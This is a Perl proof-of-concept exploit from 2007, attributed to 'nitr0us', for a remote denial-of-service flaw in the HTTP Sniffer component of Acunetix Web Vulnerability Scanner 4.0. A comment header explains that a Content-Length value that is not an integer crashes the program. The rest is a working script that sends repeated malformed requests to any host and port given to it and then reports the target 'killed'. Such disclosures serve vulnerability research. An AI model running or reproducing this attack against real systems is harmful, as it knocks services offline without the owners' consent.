RTM Security Team

				

				#!/usr/bin/perl -w
				#
				# Acunetix Web Vulnerability Scanner 4.0 <= Build 20060717
				# HTTP Sniffer component
				# Remote Denial of Service
				#
				# Explaination:
				# I found a DoS in Acunetix WVS doing a little bit of fuzzing.
				# The flaw is triggered when a malformed packet is sent. Thus, an Exception Handler shows
				# an Error Window saying: "'die!!!' is not a valid integer value", but, if we sent the
				# same packet again (while that message still visible) the application will crash.
				#
				# The malformed HTTP packet contains an invalid 'Content-Length' field (string), and it
				# must be a positive integer.
				#
				# Acunetix' support: "The bug which was causing it to crash was also related to another
				# bug fix which was implemented in later versions.". So, in latest version, an Error
				# message like this appears:
				#  ________________________________________________________
				# |wvs.exe                                                 |
				# |--------------------------------------------------------|
				# |[X] An error ocurred in the application                 |
				# |                                  |continue application||
				# |                                  |restart application ||
				# ||send bug report||show bug report||close applicacion   ||
				# |________________________________________________________|
				#
				# Affected version tested:
				# Acunetix WVS (Consultant Edition) 4.0 Build 20060717
				#
				# Non-affected version tested:
				# Acunetix WVS 4.0 Build 20060717
				#
				# nitr0us 
				# 01/01/07 . . . Happy new year.

				use strict;
				use Socket qw( :DEFAULT :crlf );        # $CRLF
				use IO::Socket;

				sub header
				{
				       print "################################################################\n";
				       print "#   Acunetix Web Vulnerability Scanner 4.0 <= Build 20060717   #\n";
				       print "#                  HTTP Sniffer component                      #\n";
				       print "#                 Remote Denial of Service                     #\n";
				       print "#                        by nitr0us                            #\n";
				       print "################################################################\n\n";
				       print "Usage: $0  [port(default 8080)]\n";
				       exit(0xdead);
				}

				header() unless $ARGV[0];

				my $port = 8080;
				my $acunetix_wvs;
				my $packetz = 5;

				if($ARGV[1]){
				       $port = $ARGV[1];
				}

				print "\n[+] Connecting and sending $packetz malformed packetz\n\n";

				for(my $foo = 0; $foo < $packetz; $foo++){
				       $acunetix_wvs = IO::Socket::INET->new(  PeerAddr        =>      $ARGV[0],
				                                               PeerPort        =>      $port,
				                                               Proto           =>      'tcp')
				               or die "Could not create socket: $!\n";

				       print $acunetix_wvs "GET / HTTP/1.0$CRLF";
				       print $acunetix_wvs "Content-Length: die!!!$CRLF$CRLF"; # Trigger

				       $acunetix_wvs->close();

				       sleep(1);
				}

				print "[+] $packetz malformed packetz sent ];D\n\n";
				print "[+] Acunetix WVS! killed ! ;)\n\n";